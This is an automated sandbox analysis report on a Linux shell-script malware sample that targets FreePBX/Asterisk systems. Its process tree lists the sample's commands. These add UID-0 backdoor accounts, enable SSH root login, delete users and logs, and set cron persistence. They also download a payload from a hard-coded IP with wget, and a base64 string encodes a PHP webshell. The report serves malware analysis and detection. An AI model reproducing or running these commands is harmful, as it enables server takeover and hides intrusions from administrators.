Analysis
- max time kernel
13s - max time network
137s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
- submitted
22/07/2026, 12:24
General
- Target x.sh
- Size 14KB
- Sample260722-plcxwahn4t
- SHA256 5fde1a8ba0bdfbbbe4a6cb2085fc195c3d745854c2776a757e4cc2d040185db2
Score
8/10
Malware Config
Signatures
- Modifies password files for system users/ groups 1 TTPs 64 IoCs
Modifies files storing password hashes of existing users/ groups, likely to grant additional privileges.
- Deletes Audit logs 1 TTPs 1 IoCs
Deletes logs related to the Linux Audit framework.
- Deletes system logs 1 TTPs 1 IoCs
Deletes log file which contains global system messages. Adversaries may delete system logs to minimize their footprint.
- OS Credential Dumping 1 TTPs 31 IoCs
Adversaries may attempt to dump credentials to use it in password cracking.
- Adds a user to the system 18 IoCs
- Creates/modifies Cron job 1 TTPs 9 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
- Creates/modifies environment variables 1 TTPs 18 IoCs
Creating/modifying environment variables is a common persistence mechanism.
- Deletes log files 1 TTPs 14 IoCs
Deletes log files on the system.
- Enumerates running processes
Discovers information about currently running processes on the system
- Modifies rc script 2 TTPs 1 IoCs
Adding/modifying system rc scripts is a common persistence mechanism.
- Modifies Bash startup script 2 TTPs 18 IoCs
- Deobfuscate/Decode Files or Information 1 TTPs 6 IoCs
Adversaries may deobfuscate or decode files or information to evade detection mechanisms.
- Enumerates kernel/hardware configuration 1 TTPs 1 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
- Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
- Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/x.sh/tmp/x.sh1⤵
- Modifies password files for system users/ groups
- Creates/modifies environment variables
- Modifies rc script
- Modifies Bash startup script
-
/bin/mkdirmkdir -p /tmps /tmp /trmp /var/spool/asterisk/tmp2⤵
-
-
/bin/rmrm -rf /tmp/systemd-private-957bb5a527074a7ba42b32a5fdad9ced-systemd-timedated.service-8NSaOM /tmp/x.sh "/tmps/*" "/trmp/*" /var/tmp/systemd-private-957bb5a527074a7ba42b32a5fdad9ced-systemd-timedated.service-6WTYlT "/var/tmps/*" "/var/trmp/*" "/var/lib/asterisk/bin/devnull*"2⤵
-
-
/bin/rmrm -rf /tmp/devnull24 /tmps/devnull24 /trmp/devnull24 /var/tmp/devnull24 /var/tmps/devnull24 /var/trmp/devnull24 /var/lib/asterisk/bin/devnull242⤵
-
-
/bin/rmrm -rf /tmp/devnull23 /tmps/devnull23 /trmp/devnull23 /var/tmp/devnull23 /var/tmps/devnull23 /var/trmp/devnull23 /var/lib/asterisk/bin/devnull232⤵
-
-
/bin/rmrm -rf /tmp/devnull2 /tmps/devnull2 /trmp/devnull2 /var/tmp/devnull2 /var/tmps/devnull2 /var/trmp/devnull2 /var/lib/asterisk/bin/devnull22⤵
-
-
/bin/rmrm -rf /tmp/k /tmps/k /tmp/.font-unix /tmp/.ICE-unix /tmp/.Test-unix /tmp/.X11-unix /tmp/.XIM-unix "/tmps/.??*" "/trmp/.??*"2⤵
-
-
/usr/bin/awkawk -F: "(\$3 == 0 || \$3 >= 1000) && \$1 != \"root\" {system(\"userdel -rf \" \$1 \" 2>/dev/null; sed -i \\\"/^\" \$1 \":/d\\\" /etc/passwd /etc/shadow /etc/group /etc/gshadow; rm -rf /home/\" \$1 \" 2>/dev/null\")}" /etc/passwd2⤵
-
/bin/shsh -c "userdel -rf nobody 2>/dev/null; sed -i \"/^nobody:/d\" /etc/passwd /etc/shadow /etc/group /etc/gshadow; rm -rf /home/nobody 2>/dev/null"3⤵
-
/usr/sbin/userdeluserdel -rf nobody4⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Reads runtime system information
-
/usr/sbin/nscdnscd -i passwd5⤵
-
-
/usr/sbin/nscdnscd -i group5⤵
-
-
/usr/sbin/nscdnscd -i passwd5⤵
-
-
/usr/sbin/nscdnscd -i group5⤵
-
-
-
/bin/sedsed -i "/^nobody:/d" /etc/passwd /etc/shadow /etc/group /etc/gshadow4⤵
- OS Credential Dumping
- Reads runtime system information
-
-
/bin/rmrm -rf /home/nobody4⤵
-
-
-
/bin/shsh -c "userdel -rf user 2>/dev/null; sed -i \"/^user:/d\" /etc/passwd /etc/shadow /etc/group /etc/gshadow; rm -rf /home/user 2>/dev/null"3⤵
-
/usr/sbin/userdeluserdel -rf user4⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Reads runtime system information
-
/usr/sbin/nscdnscd -i passwd5⤵
-
-
/usr/sbin/nscdnscd -i group5⤵
-
-
/usr/sbin/nscdnscd -i passwd5⤵
-
-
/usr/sbin/nscdnscd -i group5⤵
-
-
-
/bin/sedsed -i "/^user:/d" /etc/passwd /etc/shadow /etc/group /etc/gshadow4⤵
- OS Credential Dumping
-
-
/bin/rmrm -rf /home/user4⤵
-
-
-
-
/bin/grepgrep -R "--include=*.php" -l "t3rr0r\\|b3d0r\\|pastebin\\|Hacked\\|MusicTeam\\|Aragon\\|Black Ban\\|New-Pbx\\|Emad__Was__Here" /var/www/html/2⤵
-
-
/bin/grepgrep -rlZ atmin /var/www/html/2⤵
-
-
/usr/bin/xargsxargs -0 -I "{}" sh -c "cp {} /root/backup/ 2>/dev/null; rm -v {}"2⤵
- Reads runtime system information
-
-
/usr/bin/xargsxargs -0 -I "{}" sh -c "cp {} /root/backup/ 2>/dev/null; rm -v {}"2⤵
-
-
/bin/grepgrep -rlZ cGhwCmlmKG1kNSgkX1JFUVVFU1RbJ3AnXSk9PScxYzk1YmFkNWIwMzY1OGYzMzE4MzNkNmVhOWU3Nzg4NycpIAp7CkBzeXN0ZW0oJF9SRVFVRVNUWydjJ10pOyAKaW5jbHVkZV9vbmNlICIvdmFyL3d3dy9odG1sL2xpYnMvcGFsb1NhbnRvREIuY2xhc3MucGhwIjsgCmluY2x1ZGVfb25jZSAiL3Zhci93d3cvaHRtbC9saWJzL3BhbG9TYW50b0FDTC5jbGFzcy5waHAiOyAKJHBEQiA9IG5ldyBwYWxvREIoInNxbGl0ZTM6Ly8vL3Zhci93d3cvZGIvYWNsLmRiIik7IAokZGIgPSAkcERCLT5mZXRjaFRhYmxlKCJTRUxFQ1QgbmFtZSwgbWQ1X3Bhc3N3b3JkLGV4dGVuc2lvbiBmcm9tIGFjbF91c2VyIFdIRVJFIGlkID0nMSciKTsgCnNlc3Npb25fbmFtZSgiZWxhc3RpeFNlc3Npb24iKTsgCnNlc3Npb25fc3RhcnQoKTsgCiRfU0VTU0lPTlsnZWxhc3RpeF91c2VyJ10gPSAkZGJbMF1bMF07IAokX1NFU1NJT05bJ2VsYXN0aXhfcGFzcyddID0gJGRiWzBdWzFdOyAKZWNobyAnPGEgaHJlZj0iLyIgPkVtYWRfX1dhc19fSGVyZTwvYT4nOwp9Cj8 /var/www/html/2⤵
-
-
/bin/grepgrep -r "--include=*.php" -l -E "(eval.*base64_decode|/\\*[A-Za-z0-9]+\\*/eval|c2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF|New-Pbx|Emad__Was__Here|VictamPbx|t3rr0r|FaTaLisTiCz_Fx|Hacked|b374k|xman|cGhwCmlmKG1kNSgkX1JFUVVFU1RbJ3AnXSk9PScxYzk1YmFkNWIwMzY1OGYzMzE4MzNkNmVhOWU3Nzg4NycpIAp7CkBzeXN0ZW0oJF9SRVFVRVNUWydjJ10pOyAKaW5jbHVkZV9vbmNlICIvdmFyL3d3dy9odG1sL2xpYnMvcGFsb1NhbnRvREIuY2xhc3MucGhwIjsgCmluY2x1ZGVfb25jZSAiL3Zhci93d3cvaHRtbC9saWJzL3BhbG9TYW50b0FDTC5jbGFzcy5waHAiOyAKJHBEQiA9IG5ldyBwYWxvREIoInNxbGl0ZTM6Ly8vL3Zhci93d3cvZGIvYWNsLmRiIik7IAokZGIgPSAkcERCLT5mZXRjaFRhYmxlKCJTRUxFQ1QgbmFtZSwgbWQ1X3Bhc3N3b3JkLGV4dGVuc2lvbiBmcm9tIGFjbF91c2VyIFdIRVJFIGlkID0nMSciKTsgCnNlc3Npb25fbmFtZSgiZWxhc3RpeFNlc3Npb24iKTsgCnNlc3Npb25fc3RhcnQoKTsgCiRfU0VTU0lPTlsnZWxhc3RpeF91c2VyJ10gPSAkZGJbMF1bMF07IAokX1NFU1NJT05bJ2VsYXN0aXhfcGFzcyddID0gJGRiWzBdWzFdOyAKZWNobyAnPGEgaHJlZj0iLyIgPkVtYWRfX1dhc19fSGVyZTwvYT4nOwp9Cj8|4ce19905aac5c1a58fc464e5bc1ce027|a62e7e1e4dfd211e99796aebb24dd872|Unauth0r1zed|Aragon|atmin|system\\(\\\$_GET\\[)|eval\\(\\\$_POST|eval\\(\\\$_REQUEST|eval\\(\\\$_GET|system\\(\\\$c\\s" /var/www/html/2⤵
-
-
/usr/bin/sortsort -u2⤵
-
-
/bin/grepgrep -rE "--include=*.php" Emad__Was__Here /var/www/html/2⤵
-
-
/usr/bin/cutcut -d : -f12⤵
-
-
/usr/bin/xargsxargs -0 grep -Il "<?php system("2⤵
-
/usr/local/sbin/grepgrep -Il "<?php system("3⤵
-
-
/usr/local/bin/grepgrep -Il "<?php system("3⤵
-
-
/usr/sbin/grepgrep -Il "<?php system("3⤵
-
-
/usr/bin/grepgrep -Il "<?php system("3⤵
-
-
/sbin/grepgrep -Il "<?php system("3⤵
-
-
/bin/grepgrep -Il "<?php system("3⤵
-
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --2⤵
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print02⤵
- Reads runtime system information
-
-
/bin/mkdirmkdir -p /tmps /tmp /trmp /var/spool/asterisk/tmp2⤵
-
-
/bin/bashbash2⤵
-
/usr/sbin/useradduseradd -s /bin/bash -ou 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." newfpbxs3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
-
/usr/bin/base64base64 -d2⤵
- Deobfuscate/Decode Files or Information
-
-
/usr/bin/base64base64 -d2⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/bashbash2⤵
-
/usr/sbin/useradduseradd -s /bin/bash -ou 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." newfpbx3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
-
/usr/bin/base64base64 -d2⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/bashbash2⤵
-
/usr/sbin/useradduseradd -s /bin/bash -ou 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." xhimax3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
-
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
-
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
-
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
-
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
- Reads runtime system information
-
-
/bin/mkdirmkdir -p /tmps /tmp /trmp /var/spool/asterisk/tmp2⤵
- Reads runtime system information
-
-
/usr/bin/trtr -dc a-z0-92⤵
-
-
/usr/bin/headhead -c82⤵
-
-
/usr/bin/wgetwget -q --no-check-certificate http://160.119.69.4/ -O /tmps/.bj31loaz2⤵
-
-
/usr/bin/wgetwget -q --no-check-certificate http://160.119.69.4/ -O /tmp/.bj31loaz2⤵
- Writes file to tmp directory
-
-
/usr/bin/wgetwget -q --no-check-certificate http://160.119.69.4/ -O /trmp/.bj31loaz2⤵
-
-
/usr/bin/findfind /home -name authorized_keys -exec sed -i /AAAAB3NzaC1yc2EAAAADAQABAAABAQCLLJeL3g2dbjGE/d "{}" ";"2⤵
-
-
/bin/rmrm -f /root/.ssh/authorized_keys2⤵
-
-
/bin/sedsed -i "s/62\\.171\\.157\\.156\\|178\\.214\\.77\\.7\\|45.234\\.176\\.202\\|46\\.37\\.21\\.63\\|162\\.217\\.98\\.180\\|202\\.170\\.120\\.157\\|111\\.223\\.32\\.50|212\\.83\\.160\\.70/160.119.69.4/g" /etc/crontab2⤵
-
-
/sbin/iptablesiptables -C INPUT -s 62.171.157.156 -j DROP2⤵
-
-
/sbin/iptablesiptables -A INPUT -s 62.171.157.156 -j DROP2⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 62.171.157.156 -j DROP2⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 62.171.157.156 -j DROP2⤵
-
-
/sbin/iptablesiptables -C INPUT -s 178.214.77.7 -j DROP2⤵
-
-
/sbin/iptablesiptables -A INPUT -s 178.214.77.7 -j DROP2⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 178.214.77.7 -j DROP2⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 178.214.77.7 -j DROP2⤵
-
-
/sbin/iptablesiptables -C INPUT -s 45.234.176.202 -j DROP2⤵
-
-
/sbin/iptablesiptables -A INPUT -s 45.234.176.202 -j DROP2⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 45.234.176.202 -j DROP2⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 45.234.176.202 -j DROP2⤵
-
-
/sbin/iptablesiptables -C INPUT -s 46.37.21.63 -j DROP2⤵
-
-
/sbin/iptablesiptables -A INPUT -s 46.37.21.63 -j DROP2⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 46.37.21.63 -j DROP2⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 46.37.21.63 -j DROP2⤵
-
-
/sbin/iptablesiptables -C INPUT -s 162.217.98.180 -j DROP2⤵
-
-
/sbin/iptablesiptables -A INPUT -s 162.217.98.180 -j DROP2⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 162.217.98.180 -j DROP2⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 162.217.98.180 -j DROP2⤵
-
-
/sbin/iptablesiptables -C INPUT -s 172.93.111.169 -j DROP2⤵
-
-
/sbin/iptablesiptables -A INPUT -s 172.93.111.169 -j DROP2⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 172.93.111.169 -j DROP2⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 172.93.111.169 -j DROP2⤵
-
-
/sbin/iptablesiptables -C INPUT -s 107.191.47.36 -j DROP2⤵
-
-
/sbin/iptablesiptables -A INPUT -s 107.191.47.36 -j DROP2⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 107.191.47.36 -j DROP2⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 107.191.47.36 -j DROP2⤵
-
-
/sbin/iptablesiptables -C INPUT -s 3.89.108.204 -j DROP2⤵
-
-
/sbin/iptablesiptables -A INPUT -s 3.89.108.204 -j DROP2⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 3.89.108.204 -j DROP2⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 3.89.108.204 -j DROP2⤵
-
-
/sbin/iptablesiptables -C INPUT -s 37.252.64.234 -j DROP2⤵
-
-
/sbin/iptablesiptables -A INPUT -s 37.252.64.234 -j DROP2⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 37.252.64.234 -j DROP2⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 37.252.64.234 -j DROP2⤵
-
-
/sbin/iptablesiptables -C INPUT -s 202.170.120.157 -j DROP2⤵
-
-
/sbin/iptablesiptables -A INPUT -s 202.170.120.157 -j DROP2⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 202.170.120.157 -j DROP2⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 202.170.120.157 -j DROP2⤵
-
-
/sbin/iptablesiptables -C INPUT -s 111.223.32.50 -j DROP2⤵
-
-
/sbin/iptablesiptables -A INPUT -s 111.223.32.50 -j DROP2⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 111.223.32.50 -j DROP2⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 111.223.32.50 -j DROP2⤵
-
-
/sbin/iptablesiptables -C INPUT -s 212.83.160.70 -j DROP2⤵
-
-
/sbin/iptablesiptables -A INPUT -s 212.83.160.70 -j DROP2⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 212.83.160.70 -j DROP2⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 212.83.160.70 -j DROP2⤵
-
-
/usr/sbin/useradduseradd -o -u 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." centos -s /bin/bash -d /dev/null2⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
-
/usr/sbin/nscdnscd -i passwd3⤵
-
-
/usr/sbin/nscdnscd -i group3⤵
-
-
/usr/sbin/nscdnscd -i passwd3⤵
-
-
/usr/sbin/nscdnscd -i group3⤵
-
-
-
/usr/sbin/useradduseradd -o -u 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." admin -s /bin/bash -d /dev/null2⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
- Reads runtime system information
-
/usr/sbin/nscdnscd -i passwd3⤵
-
-
/usr/sbin/nscdnscd -i group3⤵
-
-
/usr/sbin/nscdnscd -i passwd3⤵
-
-
/usr/sbin/nscdnscd -i group3⤵
-
-
-
/usr/sbin/useradduseradd -o -u 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." support -s /bin/bash -d /dev/null2⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
-
/usr/sbin/nscdnscd -i passwd3⤵
-
-
/usr/sbin/nscdnscd -i group3⤵
-
-
/usr/sbin/nscdnscd -i passwd3⤵
-
-
/usr/sbin/nscdnscd -i group3⤵
-
-
-
/usr/sbin/useradduseradd -o -u 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." issabel -s /bin/bash -d /dev/null2⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
-
/usr/sbin/nscdnscd -i passwd3⤵
-
-
/usr/sbin/nscdnscd -i group3⤵
-
-
/usr/sbin/nscdnscd -i passwd3⤵
-
-
/usr/sbin/nscdnscd -i group3⤵
-
-
-
/usr/sbin/useradduseradd -o -u 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." sangoma -s /bin/bash -d /dev/null2⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
- Reads runtime system information
-
/usr/sbin/nscdnscd -i passwd3⤵
-
-
/usr/sbin/nscdnscd -i group3⤵
-
-
/usr/sbin/nscdnscd -i passwd3⤵
-
-
/usr/sbin/nscdnscd -i group3⤵
-
-
-
/usr/sbin/useradduseradd -o -u 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." emo -s /bin/bash -d /dev/null2⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
- Reads runtime system information
-
/usr/sbin/nscdnscd -i passwd3⤵
-
-
/usr/sbin/nscdnscd -i group3⤵
-
-
/usr/sbin/nscdnscd -i passwd3⤵
-
-
/usr/sbin/nscdnscd -i group3⤵
-
-
-
/usr/sbin/useradduseradd -o -u 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." xhimax -s /bin/bash -d /dev/null2⤵
- Adds a user to the system
-
-
/usr/bin/touchtouch /var/www/html/admin/views/ajax.php -r /var/www/html/admin/views/footer.php2⤵
-
-
/bin/grepgrep setsid /root/.bash_profile2⤵
-
-
/bin/grepgrep serv2⤵
-
-
/usr/bin/base64base64 -d2⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/grepgrep setsid /root/.bashrc2⤵
-
-
/bin/grepgrep serv2⤵
-
-
/usr/bin/base64base64 -d2⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/grepgrep setsid /etc/rc.local2⤵
-
-
/bin/grepgrep serv2⤵
-
-
/usr/bin/base64base64 -d2⤵
- Deobfuscate/Decode Files or Information
-
-
/usr/sbin/useradduseradd -m -s /bin/bash sugarmaint2⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
- Creates/modifies environment variables
- Modifies Bash startup script
-
/usr/sbin/nscdnscd -i passwd3⤵
-
-
/usr/sbin/nscdnscd -i group3⤵
-
-
/usr/sbin/nscdnscd -i passwd3⤵
-
-
/usr/sbin/nscdnscd -i group3⤵
-
-
-
/usr/sbin/useradduseradd -m -s /bin/bash spamfilter2⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
- Creates/modifies environment variables
- Modifies Bash startup script
-
/usr/sbin/nscdnscd -i passwd3⤵
-
-
/usr/sbin/nscdnscd -i group3⤵
-
-
/usr/sbin/nscdnscd -i passwd3⤵
-
-
/usr/sbin/nscdnscd -i group3⤵
-
-
-
/usr/sbin/useradduseradd -m -s /bin/bash asteriskuser2⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
- Creates/modifies environment variables
- Modifies Bash startup script
- Reads runtime system information
-
/usr/sbin/nscdnscd -i passwd3⤵
-
-
/usr/sbin/nscdnscd -i group3⤵
-
-
/usr/sbin/nscdnscd -i passwd3⤵
-
-
/usr/sbin/nscdnscd -i group3⤵
-
-
-
/usr/sbin/useradduseradd -m -s /bin/bash supports2⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
- Creates/modifies environment variables
- Modifies Bash startup script
-
/usr/sbin/nscdnscd -i passwd3⤵
-
-
/usr/sbin/nscdnscd -i group3⤵
-
-
/usr/sbin/nscdnscd -i passwd3⤵
-
-
/usr/sbin/nscdnscd -i group3⤵
-
-
-
/usr/sbin/useradduseradd -m -s /bin/bash freepbxuser2⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
- Creates/modifies environment variables
- Modifies Bash startup script
-
/usr/sbin/nscdnscd -i passwd3⤵
-
-
/usr/sbin/nscdnscd -i group3⤵
-
-
/usr/sbin/nscdnscd -i passwd3⤵
-
-
/usr/sbin/nscdnscd -i group3⤵
-
-
-
/usr/sbin/useradduseradd -m -s /bin/bash supermaint2⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
- Creates/modifies environment variables
- Modifies Bash startup script
-
/usr/sbin/nscdnscd -i passwd3⤵
-
-
/usr/sbin/nscdnscd -i group3⤵
-
-
/usr/sbin/nscdnscd -i passwd3⤵
-
-
/usr/sbin/nscdnscd -i group3⤵
-
-
-
/usr/sbin/useradduseradd -m -s /bin/bash asterisk2⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
- Creates/modifies environment variables
- Modifies Bash startup script
-
/usr/sbin/nscdnscd -i passwd3⤵
-
-
/usr/sbin/nscdnscd -i group3⤵
-
-
/usr/sbin/nscdnscd -i passwd3⤵
-
-
/usr/sbin/nscdnscd -i group3⤵
-
-
-
/usr/sbin/useradduseradd -m -s /bin/bash hima2⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
- Creates/modifies environment variables
- Modifies Bash startup script
-
/usr/sbin/nscdnscd -i passwd3⤵
-
-
/usr/sbin/nscdnscd -i group3⤵
-
-
/usr/sbin/nscdnscd -i passwd3⤵
-
-
/usr/sbin/nscdnscd -i group3⤵
-
-
-
/usr/sbin/chpasswdchpasswd -e2⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
-
/usr/sbin/nscdnscd -i passwd3⤵
-
-
/usr/sbin/nscdnscd -i group3⤵
-
-
/usr/sbin/nscdnscd -i passwd3⤵
-
-
-
/usr/sbin/chpasswdchpasswd -e2⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
-
/usr/sbin/nscdnscd -i passwd3⤵
-
-
/usr/sbin/nscdnscd -i group3⤵
-
-
/usr/sbin/nscdnscd -i passwd3⤵
-
-
-
/usr/sbin/chpasswdchpasswd -e2⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
-
/usr/sbin/nscdnscd -i passwd3⤵
-
-
/usr/sbin/nscdnscd -i group3⤵
-
-
/usr/sbin/nscdnscd -i passwd3⤵
-
-
-
/usr/sbin/chpasswdchpasswd -e2⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
-
/usr/sbin/nscdnscd -i passwd3⤵
-
-
/usr/sbin/nscdnscd -i group3⤵
-
-
/usr/sbin/nscdnscd -i passwd3⤵
-
-
-
/usr/sbin/chpasswdchpasswd -e2⤵
- OS Credential Dumping
-
/usr/sbin/nscdnscd -i passwd3⤵
-
-
/usr/sbin/nscdnscd -i group3⤵
-
-
/usr/sbin/nscdnscd -i passwd3⤵
-
-
-
/usr/sbin/chpasswdchpasswd -e2⤵
- OS Credential Dumping
-
/usr/sbin/nscdnscd -i passwd3⤵
-
-
/usr/sbin/nscdnscd -i group3⤵
-
-
/usr/sbin/nscdnscd -i passwd3⤵
-
-
-
/usr/sbin/chpasswdchpasswd -e2⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
-
/usr/sbin/nscdnscd -i passwd3⤵
-
-
/usr/sbin/nscdnscd -i group3⤵
-
-
/usr/sbin/nscdnscd -i passwd3⤵
-
-
-
/usr/sbin/chpasswdchpasswd -e2⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
-
/usr/sbin/nscdnscd -i passwd3⤵
-
-
/usr/sbin/nscdnscd -i group3⤵
-
-
/usr/sbin/nscdnscd -i passwd3⤵
-
-
-
/usr/sbin/chpasswdchpasswd -e2⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
-
/usr/sbin/nscdnscd -i passwd3⤵
-
-
/usr/sbin/nscdnscd -i group3⤵
-
-
/usr/sbin/nscdnscd -i passwd3⤵
-
-
-
/usr/sbin/chpasswdchpasswd -e2⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
-
-
/bin/sedsed -i "s/^#Port .*/Port 22/" /etc/ssh/sshd_config2⤵
- Reads runtime system information
-
-
/bin/sedsed -i "s/^Port .*/Port 22/" /etc/ssh/sshd_config2⤵
- Reads runtime system information
-
-
/bin/sedsed -i "s/^#PermitRootLogin .*/PermitRootLogin yes/" /etc/ssh/sshd_config2⤵
-
-
/bin/sedsed -i "s/^PermitRootLogin .*/PermitRootLogin yes/" /etc/ssh/sshd_config2⤵
-
-
/bin/systemctlsystemctl reload sshd2⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
-
/sbin/iptablesiptables -A INPUT -p tcp --dport 22 -j ACCEPT2⤵
-
-
/usr/bin/findfind /var/log/httpd/ -maxdepth 1 -name "*.log" -type f -exec sed -i /restapps/d "{}" ";"2⤵
-
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
- Reads runtime system information
-
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
-
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
-
-
/bin/mkdirmkdir -p /usr/lib/.systemd /usr/share/.fonts /var/lib/.dbus /var/tmp/.X11 /opt/.local /var/cache/.fontconfig /etc/.ssl /root/.config2⤵
-
-
/usr/bin/dirnamedirname /usr/lib/.systemd/.cache2⤵
-
-
/bin/mkdirmkdir -p /usr/lib/.systemd2⤵
- Reads runtime system information
-
-
/usr/bin/crontabcrontab -l2⤵
-
-
/usr/bin/chattrchattr +i /usr/lib/.systemd/.cache2⤵
-
-
/usr/bin/dirnamedirname /usr/share/.fonts/.config2⤵
-
-
/bin/mkdirmkdir -p /usr/share/.fonts2⤵
-
-
/usr/bin/crontabcrontab -l2⤵
-
-
/usr/bin/chattrchattr +i /usr/share/.fonts/.config2⤵
-
-
/usr/bin/dirnamedirname /var/lib/.dbus/.data2⤵
-
-
/bin/mkdirmkdir -p /var/lib/.dbus2⤵
-
-
/usr/bin/crontabcrontab -l2⤵
- Reads runtime system information
-
-
/usr/bin/chattrchattr +i /var/lib/.dbus/.data2⤵
-
-
/usr/bin/dirnamedirname /var/tmp/.X11/.Xauthority2⤵
-
-
/bin/mkdirmkdir -p /var/tmp/.X112⤵
-
-
/usr/bin/crontabcrontab -l2⤵
-
-
/usr/bin/chattrchattr +i /var/tmp/.X11/.Xauthority2⤵
-
-
/usr/bin/dirnamedirname /opt/.local/.bashrc2⤵
-
-
/bin/mkdirmkdir -p /opt/.local2⤵
-
-
/usr/bin/crontabcrontab -l2⤵
- Reads runtime system information
-
-
/usr/bin/chattrchattr +i /opt/.local/.bashrc2⤵
-
-
/usr/bin/dirnamedirname /var/cache/.fontconfig/.cfg2⤵
-
-
/bin/mkdirmkdir -p /var/cache/.fontconfig2⤵
- Reads runtime system information
-
-
/usr/bin/crontabcrontab -l2⤵
-
-
/usr/bin/chattrchattr +i /var/cache/.fontconfig/.cfg2⤵
-
-
/usr/bin/dirnamedirname /etc/.ssl/.cert2⤵
-
-
/bin/mkdirmkdir -p /etc/.ssl2⤵
-
-
/usr/bin/crontabcrontab -l2⤵
- Reads runtime system information
-
-
